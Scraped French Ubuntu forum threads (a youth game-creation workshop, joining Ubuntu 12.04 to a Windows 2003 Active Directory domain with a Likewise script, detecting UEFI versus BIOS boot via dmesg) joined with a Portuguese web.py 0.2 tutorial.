Mais que les ados rêvent, c'est normal. Après, s'ils veulent vraiment réaliser leur rêve, il leur faudra se confronter à la réalité et prouver leur motivation pour pouvoir vivre de leur passion.
Je dis ça alors qu'ado, je rêvais d'être styliste chez Jean-Paul Gaultier, et que je me suis retrouvée quelques années plus tard simple patronnière dans le Sentier (ceux qui connaissent Paris savent dans quelles conditions on y travaille le plus souvent)...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
J'ai oublié de dire ici que je n'ai pas eu beaucoup plus de monde pour l'atelier programmation. Un adulte qui pensait qu'il s'agissait de faire des bases de données (et dans son cas, un simple tableur comme calc devait lui suffire, à mon avis), le jeune qui était là pour Blender et deux autres plus jeunes encore.
Les jeunes ont eu du mal à s'intéresser à Ultimate Smash Friends et à python !
Celui de 15 ans m'a montré RPG maker dont pour ma part je ne raffole pas mais qui a amusé les autres pour créer des décors très facilement.
Le côté programmation des persos sur RPGmaker n'est pas si évident que ça en a l'air, j'ai eu ensuite du mal à reproduire ce que m'avait montré le jeune, qui pourtant semblait super simple.
Ce que je n'aime pas dans ce programme, c'est le côté "déjà tout fait" que les jeunes, eux, aiment beaucoup.
Ce qui est plutôt pratique, c'est la simplicité de création des décors qui peut plaire aux plus jeunes pour les amener ensuite vers plus de programmation avec les personnages.
Je ne sais pas si ce type de jeu permettant de créer un jeu existe en logiciel libre et a ce côté facile et convivial qu'aiment les jeunes.
Jusqu'ici nos recherches en matière de jeux intéressants sont un peu stériles. J'ai voulu mettre Yo frankie sur les ordis du boulot et ça ne fonctionne pas alors que chez moi ça marche.
C'est sans doute nos ordis du boulot qui pèchent quelque part. J'ai en effet Ubuntu Lucid Lynx comme au boulot mais ma config est supérieure.
Dernière modification par doudoulolita (Le 19/08/2010, à 07:29)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Par hasard, tout récemment, j'ai découvert le jeu Plee the bear mais pour contribuer, c'est encore plus difficile car c'est en python C++.
Les tutoriels sont par contre très bien documentés et le jeu présente une cohérence intéressante et un mini scénario.:)
A titre perso je vais continuer à apprendre python et pygame. Je verrai plus tard si je peux réunir des jeunes adultes et des ados motivés pour un autre atelier.
Dernière modification par doudoulolita (Le 19/08/2010, à 07:31)
Hors ligne |
tutorial do web.py 0.2
Começando
Então você sabe Python e quer fazer um site. O web.py fornece o código que torna essa uma tarefa fácil.
Se você quiser fazer o tutorial inteiro, você precisará destes programas: Python, web.py, flup, psycopg2 e Postgres (ou um banco de dados equivalente e adaptador correspondente para Python). Para detalhes, veja webpy.org.
Se você já tem um projeto web.py, dê uma olhada na página de atualização (em inglês) para informações sobre migração.
Vamos começar.
Tratamento de URLs
A parte mais importante de qualquer site é a estrutura de suas URLs. Suas URLs não são simplesmente aquela coisa que os visitantes vêem e mandam para seus amigos; elas também criam um modelo mental de como seu site funciona. Em sites populares como o del.icio.us, as URLs são até uma parte da interface com o usuário. O web.py faz com que criar boas URLs seja fácil.
Para começar sua aplicação com web.py, abra um novo arquivo de texto (vamos chamá-lo de 'codigo.py') e digite:
import web
Isso serve para importar o módulo do web.py.
Agora precisamos dizer ao web.py qual será nossa estrutura de URLs. Vamos começar com algo simples:
urls = ( '/', 'index' )
A primeira parte é uma expressão regular que corresponde a uma URL, como /, /ajuda/faq, /item/(\d+), etc. (\d+ corresponde a uma seqüência de dígitos. Os parênteses pedem que aquela parte da correspondência seja "capturada" para ser usada mais tarde.) A segunda parte é o nome de uma classe para a qual a requisição HTTP deve ser enviada, como index, view, welcomes.hello (este último corresponde à classe hello do módulo welcomes), ou get_\1. \1 é substituído pela primeira captura feita pela sua expressão regular; as capturas que sobrarem são passadas para a sua função.
Essa linha diz que queremos que a URL / (i.é., a página inicial) seja tratada pela classe chamada index.
Agora precisamos escrever a classe index. Apesar de a maioria das pessoas não perceber enquanto navega por aí, seu navegador usa uma linguagem conhecida como HTTP para comunicar-se com a internet. Os detalhes não são importantes, mas o princípio básico é que os visitantes da Web pedem aos servidores web que realizem certas funções (como GET ou POST) em URLs (como / ou /foo?f=1).
GET é a função com a qual estamos todos acostumados: é a usada para pedir o texto de uma página da web. Quando você digita harvard.edu no seu navegador, ele literalmente pede ao servidor web de Harvard GET /. A segunda mais famosa, POST, é comumente usada ao enviar certos tipos de formulários, como um pedido para comprar algo. Você usar POST sempre que o envio de um pedido faz alguma coisa (como cobrar de seu cartão de crédito e processar um pedido). Isso é crucial, pois URLs do tipo GET podem ser transmitidas por aí e indexadas por mecanismos de busca -- você quer isso para a maioria das suas página, mas com certeza não para coisas como processar pedidos (imagine se o Google tentasse comprar tudo no seu site!).
No nosso código para o web.py, a distinção entre os dois é clara:
class index:
def GET(self):
print "Olá, mundo!"
Essa função GET será chamada pelo web.py sempre que alguém fizer um pedido GET para a URL /.
Ok, agora só falta terminar com uma linha que manda o web.py começar a servir as páginas da web:
if __name__ == "__main__": web.run(urls, globals())
Isso manda o web.py servir as URLs que listamos acima, procurando as classes no nome de espaços global para o arquivo atual.
Perceba que, embora eu esteja falando bastante, nós só temos umas cinco linhas de código. É só isso que você precisa para fazer uma aplicação completa com o web.py. Se você for até sua linha de comando e digitar:
$ python codigo.pyLaunching server: http://0.0.0.0:8080/
Você terá sua aplicação web.py executando um servidor web de verdade no seu computador. Visite essa URL e você deverá ver "Olá, mundo!" (Você pode adicionar um endereço IP/porta depois de "codigo.py" para controlar onde o web.py executa o servidor. Você também pode fazê-lo rodar um servidor fastcgi ou scgi.)
Nota: Você pode especificar o número de porta a usar pela linha de comando desta maneira, se não puder ou não quiser usar o padrão:
$ python codigo.py 1234
Desenvolvimento
O web.py também tem algumas ferramentas para nos ajudar com a depuração. Antes do 'if name' na última linha, adicione:
web.webapi.internalerror = web.debugerror
Isso lhe fornecerá mensagens de erro mais úteis, quando for o caso. Coloque também na última linha web.reloader, de modo que ela se torne:
if __name__ == "__main__": web.run(urls, globals(), web.reloader)
Isso diz ao web.py que use o "middleware" web.reloader (middleware é uma função intermediária que adiciona certos recursos ao seu servidor web), que recarrega seus arquivos assim que você os edita, de modo que você pode imediatamente ver as alterações no seu navegador. (Contudo, para algumas alterações mais drásticas, você ainda precisará reiniciar o servidor.) Você provavelmente deverá tirar isso ao deixar seu site público, mas é um recurso excelente durante o desenvolvimento. Também há o web.profiler, que, no final de cada página, fornece informações sobre quanto tempo cada função tomou, de modo que você possa tornar seu código mais rápido.
Templating
Escrever HTML de dentro do Python pode tornar-se um empecilho; é muito mais divertido escrever código Python de dentro do HTML. Por sorte, o web.py torna isso bastante fácil.
Nota: Versões antigas do web.py usavam Cheetah templates. Você é, é claro, livre para usar esse ou qualquer outro software com o web.py, mas ele não é mais suportado oficialmente.
Vamos criar um novo diretório para nossos templates (vamos chamá-lo de templates). Dentro dele, crie um novo arquivo cujo nome termine em HTML (vamos chamá-lo de index.html). Agora, dentro dele, você pode escrever código HTML normal:
<em>Olá</em>, mundo!
Ou você pode usar a linguagem de templates do web.py para adicionar código ao seu HTML:
$def with (nome)
$if nome:
Eu só queria dizer <em>olá</em> para $nome.
$else:
<em>Olá</em>, mundo!
Nota: Atualmente, é necessário usar quatro espaços para a indentação.
Como você pode ver, os templates parecem-se bastante com arquivos Python, exceto pela instrução def with no começo (ela diz com que parâmetros o template é chamado) e os $s colocados na frente de qualquer código. Atualmente, o template.py requer que a instrução $def seja a primeira linha do arquivo. Além disso, note que o web.py "escapa" as variáveis que forem usadas -- de modo que se, por alguma razão, o valor da variável nome conntém algum código HTML, ela será devidamente "escapada" e aparecerá como texto puro. Se você não deseja esse comportamento, use $:nome em vez de $nome.
Agora volte ao codigo.py. Abaixo da primeira linha, insira:
render = web.template.render('templates/')
Isso manda o web.py procurar por templates no seu diretório templates. Então altere a função index.GET para:
nome = 'João'
print render.index(nome)
('index' é o nome do template, e 'nome' é o parâmetro passado para ele)
Visite seu site e ele deverá dizer olá para o João.
Dica para o desenvolvimento: Adicione cache=False ao final da sua chamada a render para que o web.py recarregue seus templates toda vez que você entrar na sua página.
Agora mude sua URL para:
'/(.*)', 'index'
e troque a definição de index.GET para:
def GET(self, nome):
e apague a linha que define nome. Visite / e a página deverá dizer olá ao mundo. Visite /José e ela deverá dizer olá ao José.
Se você quer aprender mais sobre os templates do web.py, visite a página do templetor (em inglês).
Bancos de dados
Acima da sua linha web.run, adicione:
web.config.db_parameters = dict(dbn='postgres', user='nome_do_usuario', pw='senha', db='nome_do_banco_de_dados')
(Modifique isto -- especialmente nome_do_usuario, senha, and nome_do_banco_de_dados -- para os valores correspondentes à sua configuração. Usuários do MySQL também devem trocar dbn por mysql.)
Crie uma tabela simples no seu banco de dados:
CREATE TABLE todo (
id serial primary key,
title text,
created timestamp default now(),
done boolean default 'f' );
E uma linha inicial:
INSERT INTO todo (title) VALUES ('Aprender web.py');
Voltando ao codigo.py, modifique a função index.GET para:
def GET(self):
todos = web.select('todo')
print render.index(todos)
e modifique o tratador de URLs de volta para simplesmente /.
Edite o index.html de modo que ele se torne:
$def with (todos)
<ul>
$for todo in todos:
<li id="t$todo.id">$todo.title</li> </ul>
Visite novamente seu site, e você deverá ver uma tarefa na lista: "Aprender web.py". Parabéns! Você fez uma aplicação completa que lê dados de um banco de dados. Agora vamos também gravar dados no banco de dados.
No final de index.html, insira:
<form method="post" action="add"> <p><input type="text" name="title" /> <input type="submit" value="Adicionar" /></p> </form>
E modifique sua lista de URLs para que fique assim:
'/', 'index','/add', 'add'
(Você deve ser muito cuidadoso com essas vírgulas. Se você as omitir, o Python juntará as strings e verá '/index/addadd' no lugar da sua lista de URLs!)
Agora adicione outra classe:
class add:
def POST(self):
i = web.input()
n = web.insert('todo', title=i.title)
web.seeother('/')
(Viu como estamos usando o método POST para isso?)
web.input lhe dá acesso às variáveis que o usuário enviou através de um formulário. Para obter dados de elementos com nomes idênticos em formato de lista (por exemplo, uma série de caixas de verificação com o atributo name="nome"), use:
post_data=web.input(nome=[])
web.insert insere valores na tabela todo do banco de dados e lhe devolve o ID da nova linha. seeother redireciona os usuários para esse ID.
Rapidinhas: web.transact() inicia uma transação. web.commit() confirma a transação e armazena os dados; web.rollback() desfaz as alterações. web.update funciona como web.insert, recebendo (em vez de devolver) um ID (ou uma string com uma sentença WHERE) após o nome da tabela.
web.input, web.query e outras funções do web.py devolvem "Objetos de armazenamento", que são como dicionários mas também permitem que você use d.foo além de d['foo']. Isso realmente deixa certos códigos mais limpos.
Você pode encontrar todos os detalhes sobre essas e todas as outras funções do web.py na documentação (em inglês).
Isso termina o tutorial por enquanto. Dê uma olhada na documentação para ver o monte de coisas legais que você pode fazer com o web.py. |
mac-gyver31
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
En fait ce post est plutôt tournée vers l'intégration d'un ordi dans un domaine windows 2003 dans le cadre d'un serveur LTSP.
Un serveur LTSP ?? Tu veux dire Linux Terminal Server Project ?
T'es sûr ? Car je ne vois pas bien le rapport, et c'est la première vois que je vois cette chose évoquée dans les posts de cette discussion
Il est temps d'enlever les fenêtres, et de construire un monde ouvert.
Hors ligne
florian_boy
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
Bonjour,
Je suis entrain d'installer un machine Ubuntu 10.4 et je voulais l'intégrer dans mon domaine AD.
J'ai repris en intégral le script proposé en 1er page, modifié les nom de domaine, tenté de modifié le AD-vol.conf, mais là, j'ai pas tout capté ...
J'ai lancé le script comme expliqué, il n'y a pas eu de bug ou autre mais à la fin, lors du test d'identification au domaine, j'ai ceci :
Error: Lsass Error [code 0x00080047]
40290 (0x9D62) LW_ERROR_LDAP_TIMEOUT - Unknown error
Après avoir redémarré l'ordi, j'ai remarqué qu'il n'y avais pas de dossier LIkewise dans mon "home" et qu'il m'avait été imposible d'ouvrir un session avec un compte AD
Si quelqu'un a une idée, merci ...
Un autre truc, ce ne sont pas des dossier personnel que je veux monter dans le fichier AD-vol.conf, mais des partitions présente sur le serveur, chaque personne ayant sa propre partition, alors si quelqu'un peux m'aider à bien définir les volumes à monter ou bien m'expliquer les codes de ce fichier, ce serai super.
Merci
Cordialement,
Hors ligne
Gaelephant
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
Script testé (et approuvé) dans le cadre d'une jonction "simple" d'un poste client Ubuntu 12.04 à un AD (win 2003).
Sachant que je galérais dans la modification à la main des fichiers de conf krb5 et smb, ce script m'a débloqué.
Plus qu'à le détailler/modifier pour l'adapter plus précisément à mes besoins, mais sur le principe, exécuté tel quel, il fonctionne parfaitement, du moins sur la partie "se loguer avec les identifiants de la base AD", ce qui est déjà un bon point de départ.
Hors ligne
Gaelephant
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
Script testé (et approuvé) dans le cadre d'une jonction "simple" d'un poste client Ubuntu 12.04 à un AD (win 2003).
Sachant que je galérais dans la modification à la main des fichiers de conf krb5 et smb, ce script m'a débloqué.
Plus qu'à le détailler/modifier pour l'adapter plus précisément à mes besoins, mais sur le principe, exécuté tel quel, il fonctionne parfaitement, du moins sur la partie "se loguer avec les identifiants de la base AD", ce qui est déjà un bon point de départ.
Histoire de préciser tout de même :
Le but final est de virer le Win2003 d'un serveur de fichier pour le remplacer par un linux (vraisemblablement Ubuntu).
Mais le DC resterait (pour le moment du moins) sous Win2003. Débutant sous linux, avant le lancer le grand chambardement, je souhaite faire quelques essais. J'ai donc commenté toutes les lignes faisant référence aux partages, puisque pour le moment, souhaitant avancer tranquillement par étapes, je ne m'intéresse qu'à la jonction d'un poste linux à l'AD. Histoire d'être sûr qu'au moins ça soit réalisable facilement et rapidement avant d'aller fouiller plus loin. D'autant plus qu'au final, les partages ne devront pas "être accessible depuis un linux", mais "être accessible depuis un windows tout en étant hébergé par un linux". Meme si l'un n'empêche pas l'autre, j'vais y aller doucement.
Script testé sur Ubuntu 12.04 client, tel quel, sans modification : fonctionne directement.
Cela dit, pas de dossier /etc/gdm/ chez moi (Unity oblige), du coup j'ai viré les lignes concernant gdm, et j'ai rajouté les lignes
allow-guest=false
greeter-hide-users=true
au fichier /etc/lightdm/lightdm.conf. Je pense que ça doit facilement se rajouter au script.
Au reboot de la machine, écran de connexion où il faut entrer identifiant puis mdp pour se logguer. Les identifiants locaux fonctionnent, les identifiants réseaux également, et ce sans avoir à rajouter un "DOMAIN\" avant le login. Bref, complètement transparent pour l'utilisateur.
Script testé sur Ubuntu 12.04 server tel quel, sans modification : échec à l'installation de likewise.
J'ai résolu le problème en modifiant dans le script la partie apt-get concernant likewise et en mettant à la place un simple
sudo dpkg -i ./likewise-open_6.1.0.406-0ubuntu5_i386.deb
en ayant au préalable téléchargé le .deb à la main (j'ai malencontreusement oublié de noter l'url où je l'ai choppé) et placé dans le même répertoire que le script. Ensuite, l'installation se déroule sans le moindre soucis.
Mais au reboot et à la connexion, ça n'est pas la même histoire :
- identifiant_local / pass : ça marche
- identifiant_réseau / pass : erreur (j'ai plus le message exact en tête, mais même message que lorsqu'on tape un mauvais password)
- identifiant@domain / pass : idem
- DOMAIN\identifiant / pass : erreur : ACCESS DENIED
Le access denied est je pense plutôt bon signe : il ne trouve pas d'erreur dans le duo log/pass, il n'arrive juste pas à ouvrir une session.
Avec comme question principale : il n'arrive pas à ouvrir une session, ou bien il pourrait y arriver mais refuse de le faire parce que "quelque chose" le lui interdit (par exemple, au pif, une ligne foireuse sur un fichier de conf planqué quelque part qui dise qu'il n'y a que la personne qui a installé l'os qui peut s'y connecter).
Encore en train de fouiller dans les fichiers de log voir où il peut bien y avoir une erreur, sans trouver pour le moment.Comme c'est le seul moyen qui me vienne à l'esprit pour tester si la jonction du poste à l'AD est bien effective, c'est gênant.
D'un autre côté, étant vraiment un gros débutant dans le monde linux, j'ai très bien pu foirer quelque part.
A noter qu'avant de tester ce script, et ce sur les deux OS, version classique et version server, j'avais déjà bidouillé les fichiers de conf de samba et de kerberos, suivi quelques tentatives de tuto sur le net sans succès, et donc je ne me suis pas particulièrement inquiété du fait que contrairement à annoncé, il ne m'a pas été demandé lors de l'installation les serveurs et royaumes kerberos.
D'autant plus que ça a fonctionné directement sur la version "client". Histoire d'exclure la possibilité que l'ancien fichier krb5.conf du server soit la cause du problème, j'ai directement copié à la place celui du client avant de faire mes tests.
Et ça m'embêterait beaucoup d'avoir à refaire une réinstallation complète de l'OS, vu que j'ai dégagé l'iso et que j'ai un débit foireux pour la retélécharger.
En espérant que ce retour d'expérience serve, par exemple à une amélioration du script
Hors ligne
Divad
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
Salut,
C'est vrai que pour tester, il vaut mieux partir d'un OS nouveau et fraichement à jour que de quelque chose bidouillé surtout concernant kerberos. Je ne comprends pas toujours ce que je fais et trouver une erreur d'une ancienne bidouille c'est pas gagné.
Concernant 12.04, je n'ai fait aucun test. Cependant, dans le script il y a ces deux lignes :
add-apt-repository ppa:likewise-open/likewise-open-ppa
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys AAFDD5DB
Cela fait appel à un dépot externe car dans les dépôts de la 10.4 il y avait un likewise bugué que le ppa corrigeait. Je pense que dans la 12.04 ce bug doit être corrigé et le ppa plus nécessaire, voire même dépassé pouvant peut-etre causer des problèmes d'identification. Je pense donc qu'il faudrait que tu testes en enlevant ces deux lignes du script et partir sur une base clean avec le dépôt officiel de 12.04.
A propos de la connexion, as-tu essayé le test de connexion inclus dans le script ?
Hors ligne
Gaelephant
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
Concernant 12.04, je n'ai fait aucun test. Cependant, dans le script il y a ces deux lignes :
add-apt-repository ppa:likewise-open/likewise-open-ppa
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys AAFDD5DB
Cela fait appel à un dépot externe car dans les dépôts de la 10.4 il y avait un likewise bugué que le ppa corrigeait. Je pense que dans la 12.04 ce bug doit être corrigé et le ppa plus nécessaire, voire même dépassé pouvant peut-etre causer des problèmes d'identification. Je pense donc qu'il faudrait que tu testes en enlevant ces deux lignes du script et partir sur une base clean avec le dépôt officiel de 12.04.
Justement, je test sur deux versions de 12.04, la classique et la server.
J'avais déjà essayé d'installer likewise depuis les dépôts offi sur la version client, en essayant de suivre pas à pas un tuto, mais sans succès : des erreurs à l'installation, ça foirait à un moment où un autre, j'avais laissé tombé.
Sur la "classique", ces deux lignes de ton script ne posent aucun problème, et tout fonctionne parfaitement, ça installe depuis les dépots indiqué, tout roule.
Sur la "server", l'installation de likewise pose soucis. Le même script, les mêmes lignes, une erreur ou les mots dpkg, --configure et likewise apparaissaient sur la même ligne.
Du coup j'ai récupéré le .deb depuis "https://launchpad.net/ubuntu/+source/likewise-open" (vive l'historique du navigateur pour retrouver l'adresse), et là l'installation se passe correctement.
A propos de la connexion, as-tu essayé le test de connexion inclus dans le script ?
Oui, testé, et affichant un magnifique succès et me recommandant de redémarrer.
D'ailleurs, pour preuve que la connexion est possible, si j'essaye de co un utilisateur n'existant pas, l'erreur est "login incorrect", alors qu'avec un utilisateur réseau existant, l'erreur est "access is denied". De plus, un "getent passwd" me donne le même résultat sur la version "client" (dont la jonction à l'AD est effective et réussie) et sur la version server (où là j'ai des "access is denied").
J'ai fait le tour des fichiers que j'avais modifié de façon indépendante sur le client et sur le server pour traquer les différences, sans avoir trouvé pour le moment. Bah, si je ne trouve pas, effectivement, réinstaller directement au propre la version server reste possible. Mais ça serait tellement plus agréable de comprendre pourquoi là ça ne fonctionne pas comme attendu.
Accessoirement, j'ai récupéré la fin du auth.log, qui concerne ma tentative de connexion avec le compte Admin du réseau :
srvtest login[902]: pam_winbind(login:auth): getting password (0x00000388)
srvtest login[902]: pam_winbind(login:auth): pam_get_item returned a password
srvtest login[902]: pam_winbind(login:auth): request wbcLogonUser failed: WBC_ERR_AUTH_ERROR, PAM error: PAM_SYSTEM_ERR (4), NTSTATUS: NTSTATUS_ACCESS_DENIED, Error message was: Access denied
srvtest login[902]: pam_winbind(login:auth): internal module error (retval = PAM_SYSTEM_ERR(4), user = 'DOMAINE\Administrateur")
srvtest login[902]: pam_winbind(login:auth): FAILED LOGIN (1) on '/dev/tty3' FOR 'DOMAINE\Administrateur', Authentification failure
Ce qui me laisse supposer que c'est du côté de /etc/pam.d/system-auth et du fichier pam_winbind.so qu'il va falloir chercher.
Hors ligne
Divad
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
hum, il y a peut-être un problème dans la configuration des fichiers. Dans tous les cas, je pense que le mieux est de repartir sur une installation propre. Car même si tu corriges une erreur et que cela marche, tu ne seras jamais sûr que la correction soit bonne étant donné que d'autres bidouilles ont pu affecter le système. Et si le problème persiste après réinstallation, au moins tu repars sur qqch de sain et propre. Travailler en production sur un Os bidouillé n'est jamais bon, d'autant plus pour un serveur. Il vaut mieux savoir de A à Z ce qu'on y a fait, cela facilitera la maintenance ultérieure.
par rapport à likewise, le message "dpkg, --configure et likewise " confirme qu'il y a eu un problème lors de l'installation du ppa. Et le deb que tu récupères est celui du dépôt officiel. ( d’ailleurs quelle version as-tu prise ?)
Je suis désolé pour l'iso parti à la poubelle, mais je te conseille de :
- récupérer l'iso !
- réinstaller au propre
- tester le script en entrant bien les noms de domain, et en supprimant les deux lignes mentionnées ci-dessus
- bidouiller si besoin
- garder l'iso ( ça peut resservir parfois !)
Hors ligne
Gaelephant
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
par rapport à likewise, le message "dpkg, --configure et likewise " confirme qu'il y a eu un problème lors de l'installation du ppa. Et le deb que tu récupères est celui du dépôt officiel. ( d’ailleurs quelle version as-tu prise ?)
C'est "amusant" de voir que le likewise proposé par ton script fonctionne sur le client, mais pas sur le serveur, et que la version "dépot officiel" ne fonctionne pas sur le client, mais semble fonctionner au poil sur le serveur. Enfin amusant. Façon de parler.
J'ai pris le paquet "likewise-open_6.1.0.406-0ubuntu5_i386.deb" dans la liste dispo sous "Precise Pangolin". vu que la machine sur laquelle je fais mes tests est une vieille bête.
C'est reparti pour une install propre, alors. Je reviendrais donner des nouvelles.
Hors ligne
Gaelephant
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
De retour après test sur Ubuntu server 12.04.1, à partir d'une install neuve, propre, et juste après mise à jour.
Toujours sur la partie "jonction à l'AD".
Réussite
A part un léger détail, ton script indique que
Lors de l'installation, il vous sera demandé :
- Royaume Realm Kerberos par defaut : ex : DOMAINE
- Serveur Kerberos du Royaume : ex : 192.168.0.010 nomduserveur
- Serveur administratif du royaume Kerberos : ex : nomduserveur
Hors, lors de l'exécution du script, le seul moment où il m'a été demandé quelque chose, c'est lors de la phase de test, l'identifiant, le nom de domaine et le pass. Ce qui n'a pas empêché de déboucher sur un SUCCESS (que j'avais déjà eu lors de mes tests précédents cela dit).
Différence notable avec mes précédents tests : pas besoin de se logguer sous la forme DOMAIN\user, entrer le nom d'un utilisateur réseau non créé sur la machine fonctionne directement.
Tout ça pour dire que si tu réactualises ton script avec une version du paquet likewise "à jour", toute la partie "jonction à l'AD" fonctionne sur ubuntu 12.04, client comme server.
Plus qu'à fouiller sur la partie "partage" pour voir ce que je vais en faire
Encore bravo, proposer un truc qui marche et qui facilite la vie, c'est méritoire !
Hors ligne
Divad
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
Super ! Comme quoi, une bonne installation enlève pas mal de problème !
J'ai mis à jour le premier poste en disant d'effacer les lignes mentionnées pour 12.04
Je pense que d'ici quelques mois, il va falloir que je me replonge là dedans ( 10.4 devient vieux! ) Je remettrai le script à jour.
Merci à toi aussi de faire profiter de ton travail !!
Hors ligne
Nathaly01
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
Bonjour,
D'abord, merci pour votre travail et le script que vous nous proposé ...
J'ai utilisé le script sur Ubuntu 12.04.2 et j'avais auparavant modifié le fichier /etc/lightdm/lightdm.conf en rajoutant cette ligne : greeter-show-manual-login=true
Le script s'est déroulé parfaitement, succès.
Seulement il y a quelques problèmes. Avec les compte AD, ubuntu utilise l'Anglais pour le nom des dossiers ainsi que pour les menus alors que tout devrait être en français.
En plus, lorsque je monte une partition/dossier (partage) du serveur 2003 sur laquelle j'ai tout les droit, et bien là, j'ai juste le droit de lire.
Pourtant dans l'observateur d'événement, sécurité, je retrouve bien mes ouvertures de session AD depuis le poste ubuntu en "succès", mais les droits sur les dossiers ne sont pas pris en compte ...
Avez vous une idée du pourquoi ??
Merci
Hors ligne
Nathaly01
Re : Client Ubuntu + Active Directory et partage avec Windows serveur 2003
Bonsoir,
J'ai résolu mon problème de droit dans les partages, en faite, j'avais fait une grosse bêtise dans les autorisations !!!
Mais j'arrive vraiment pas à résoudre mon problème de la langue du système ...
comptes locaux ==> en Français
comptes AD ==> en Anglais
J'ai tentée d'avoir le choix de la langue à l'ouverture de session grâce à "lightdm-gtk-greeter", mais sa ne fonctionne pas.
En espérant avoir une réponse ...
Merci
PS : Je viens de voir que je n'ai plus accès à mon imprimante réseau ni à mon scaner et ce, sur tous les comptes, autan locaux que comptes AD ...
Dernière modification par Nathaly01 (Le 06/06/2013, à 00:07)
Hors ligne |
malbo
[Tuto] identifier si on est dans un système UEFI ou Bios
ATTENTION : CETTE MÉTHODE D’IDENTIFICATION EST OBSOLÈTE : IL FAUT UTILISER LA PROCÉDURE DE LA DOC : http://doc.ubuntu-fr.org/efi#identifier … n_mode_efi
Le problème se pose pour des PC achetés en 2011 (et +) pour ceux qui souhaitent faire cohabiter Windows préinstallé et Ubuntu dans leur PC.
Il y a plusieurs façon d'installer Ubuntu et, suivant le support d'installation (live-CD, une clé USB, autre...), il est possible qu'on ne sache pas si on s'apprête à installer dans un système Bios (classique) ou dans un système UEFI (successeur du Bios). Pour compliquer la chose, certaines carte-mères disposent d'un machin qui est compatible des deux modes et qui propose au choix à l'utilisateur de voir un live-CD en environnement Bios (souvent nommé "Legacy Bios") ou bien en environnement UEFI. Oui, ça sent bien le pâté.
J'indique ci-dessous le moyen de vérifier ce qu'il en est avant de se lancer dans l'installation proprement dite. A signaler : j'ai pompé la méthode de l'expert srs5694 du forum anglais : http://ubuntuforums.org/showpost.php?p= … ostcount=4
Depuis la session live de Ubuntu 11.10 (essai sans installer), passer cette commande dans un terminal (il y a une commande alternative proposée dans le post #26 par YannUbuntu) :Attention : cette commande pour déterminer si on est en session EFI (ou pas) est obsolète pour Ubuntu 12.10. Il faut utiliser la procédure de la doc : http://doc.ubuntu-fr.org/efi#identifier … n_mode_efi
dmesg | grep EFI
Cette commande ne présente aucun danger : elle demande d'afficher dans le terminal toutes les lignes qui mentionnent "EFI" dans le fichier log du démarrage de Ubuntu.
------------------------------------------------------------------------------------------------------------------------------------------------------CAS 1 : SI UBUNTU EST ACTUELLEMENT DÉMARRÉ EN SESSION LIVE DANS UN SYSTÈME BIOS CLASSIQUE
voici le résultat que vous obtenez :
dmesg | grep EFI
[ 1.241248] EFI Variables Facility v0.08 2004-May-17
Ou encore ce genre de lignes (s'il s'agit d'un PC récent équipé d'un système UEFI) :
dmesg | grep EFI
[ 0.000000] ACPI: UEFI 00000000bafe7000 0003E (v01 DELL QA09 00000002 PTL 00000002)
[ 0.000000] ACPI: UEFI 00000000bafe6000 00042 (v01 PTL COMBUF 00000001 PTL 00000001)
[ 0.000000] ACPI: UEFI 00000000bafe5000 00256 (v01 DELL QA09 00000002 PTL 00000002)
Bien que le terme "UEFI" soit mentionné, le PC est démarré en mode "Bios" classique (et pas en mode EFI) à condition qu'il n'y ait pas plusieurs lignes comportant "EFI: mem" qui précèdent les lignes "ACPI: UEFI" (si on a la présence de lignes "EFI: mem", on est dans le CAS 2 ci-après)
------------------------------------------------------------------------------------------------------------------------------------------------------
CAS 2 : SI UBUNTU EST ACTUELLEMENT DÉMARRÉ EN SESSION LIVE DANS UN SYSTÈME UEFI :
Voici le genre de résultat, avec plusieurs lignes comportant "EFI: mem" (c'est le mapping de la mémoire) :Attention : cette commande pour déterminer si on est en session EFI (ou pas) est obsolète pour Ubuntu 12.10. Il faut utiliser la procédure de la doc : http://doc.ubuntu-fr.org/efi#identifier … n_mode_efi
dmesg | grep EFI
[ 0.000000] EFI v2.10 by VBOX 64
[ 0.000000] Kernel-defined memdesc doesn't match the one from EFI!
[ 0.000000] EFI: mem00: type=7, attr=0xf, range=[0x0000000000000000-0x00000000000a0000) (0MB)
[ 0.000000] EFI: mem01: type=2, attr=0xf, range=[0x0000000000100000-0x000000000056e000) (4MB)
[ 0.000000] EFI: mem02: type=7, attr=0xf, range=[0x000000000056e000-0x000000000f9d9000) (244MB)
[ 0.000000] EFI: mem03: type=2, attr=0xf, range=[0x000000000f9d9000-0x000000001f000000) (246MB)
[ 0.000000] EFI: mem04: type=3, attr=0xf, range=[0x000000001f000000-0x000000001f00e000) (0MB)
[ 0.000000] EFI: mem05: type=7, attr=0xf, range=[0x000000001f00e000-0x00000000365ae000) (373MB)
[ 0.000000] EFI: mem06: type=2, attr=0xf, range=[0x00000000365ae000-0x00000000372cf000) (13MB)
[ 0.000000] EFI: mem07: type=7, attr=0xf, range=[0x00000000372cf000-0x000000003d8bc000) (101MB)
[ 0.000000] EFI: mem08: type=4, attr=0xf, range=[0x000000003d8bc000-0x000000003dc9f000) (3MB)
[ 0.000000] EFI: mem09: type=7, attr=0xf, range=[0x000000003dc9f000-0x000000003dcb0000) (0MB)
[ 0.000000] EFI: mem10: type=4, attr=0xf, range=[0x000000003dcb0000-0x000000003dcca000) (0MB)
[ 0.000000] EFI: mem11: type=7, attr=0xf, range=[0x000000003dcca000-0x000000003dcda000) (0MB)
[ 0.000000] EFI: mem12: type=4, attr=0xf, range=[0x000000003dcda000-0x000000003dcf6000) (0MB)
[ 0.000000] EFI: mem13: type=7, attr=0xf, range=[0x000000003dcf6000-0x000000003dd4d000) (0MB)
[ 0.000000] EFI: mem14: type=4, attr=0xf, range=[0x000000003dd4d000-0x000000003de05000) (0MB)
